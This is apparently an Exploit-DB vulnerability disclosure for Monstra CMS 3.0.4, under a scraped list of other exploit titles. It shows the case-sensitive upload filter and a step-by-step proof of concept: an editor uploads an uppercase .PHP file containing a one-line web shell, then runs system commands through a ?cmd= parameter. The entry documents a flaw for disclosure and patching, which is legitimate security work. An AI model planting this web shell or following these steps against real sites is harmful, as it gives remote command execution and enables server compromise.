f76fbb1072
19 changes to exploits/shellcodes CDex 1.96 - Buffer Overflow Zoom Linux Client 2.0.106600.0904 - Command Injection Zoom Linux Client 2.0.106600.0904 - Stack-Based Buffer Overflow Firejail - Local Privilege Escalation Firejail < 0.9.44.4 / < 0.9.38.8 LTS - Local Sandbox Escape Linux kernel < 4.10.15 - Race Condition Privilege Escalation Outlook for Android - Attachment Download Directory Traversal Western Digital MyCloud - 'multi_uploadify' File Upload (Metasploit) GoAhead httpd 2.5 < 3.6.5 - 'LD_PRELOAD' Remote Code Execution Joomla! Component Guru Pro - SQL Injection Joomla! Component Guru Pro - 'Itemid' SQL Injection Joomla! Component User Bench 1.0 - 'userid' SQL Injection Joomla! Component My Projects 2.0 - SQL Injection vBulletin 5 - 'routestring' Unauthenticated Remote Code Execution vBulletin 5 - 'cacheTemplates' Unauthenticated Remote Arbitrary File Deletion Linksys WVBR0 - 'User-Agent' Remote Command Injection Joomla! Component JB Visa 1.0 - 'visatype' SQL Injection Joomla! Component Guru Pro - 'promocode' SQL Injection Monstra CMS 3.0.4 - Arbitrary File Upload / Remote Code Execution
61 lines
No EOL
2 KiB
Text
61 lines
No EOL
2 KiB
Text
Exploit Title: Monstra CMS - 3.0.4 RCE
|
||
Vendor Homepage: http://monstra.org/
|
||
Software Link:
|
||
https://bitbucket.org/Awilum/monstra/downloads/monstra-3.0.4.zip
|
||
Discovered by: Ishaq Mohammed
|
||
Contact: https://twitter.com/security_prince
|
||
Website: https://about.me/security-prince
|
||
Category: webapps
|
||
Platform: PHP
|
||
Advisory Link: https://blogs.securiteam.com/index.php/archives/3559
|
||
|
||
Description:
|
||
|
||
MonstraCMS 3.0.4 allows users to upload arbitrary files which leads to a
|
||
remote command execution on the remote server.
|
||
|
||
Vulnerable Code:
|
||
|
||
https://github.com/monstra-cms/monstra/blob/dev/plugins/box/filesmanager/filesmanager.admin.php
|
||
line 19:
|
||
|
||
public static function main()
|
||
{
|
||
// Array of forbidden types
|
||
$forbidden_types = array('html', 'htm', 'js', 'jsb', 'mhtml', 'mht',
|
||
'php', 'phtml', 'php3', 'php4', 'php5',
|
||
'phps',
|
||
'shtml', 'jhtml', 'pl', 'py', 'cgi', 'sh',
|
||
'ksh', 'bsh', 'c', 'htaccess', 'htpasswd',
|
||
'exe', 'scr', 'dll', 'msi', 'vbs', 'bat',
|
||
'com', 'pif', 'cmd', 'vxd', 'cpl', 'empty');
|
||
|
||
Proof of Concept
|
||
Steps to Reproduce:
|
||
|
||
1. Login with a valid credentials of an Editor
|
||
2. Select Files option from the Drop-down menu of Content
|
||
3. Upload a file with PHP (uppercase)extension containing the below code:
|
||
|
||
<?php
|
||
|
||
$cmd=$_GET['cmd'];
|
||
|
||
system($cmd);
|
||
|
||
?>
|
||
|
||
4. Click on Upload
|
||
5. Once the file is uploaded Click on the uploaded file and add ?cmd= to
|
||
the URL followed by a system command such as whoami,time,date etc.
|
||
|
||
|
||
Recommended Patch:
|
||
We were not able to get the vendor to respond in any way, the software
|
||
appears to have been left abandoned without support – though this is not an
|
||
official status on their site (last official patch was released on
|
||
2012-11-29), the GitHub appears a bit more active (last commit from 2 years
|
||
ago).
|
||
|
||
The patch that addresses this bug is available here:
|
||
https://github.com/monstra-cms/monstra/issues/426 |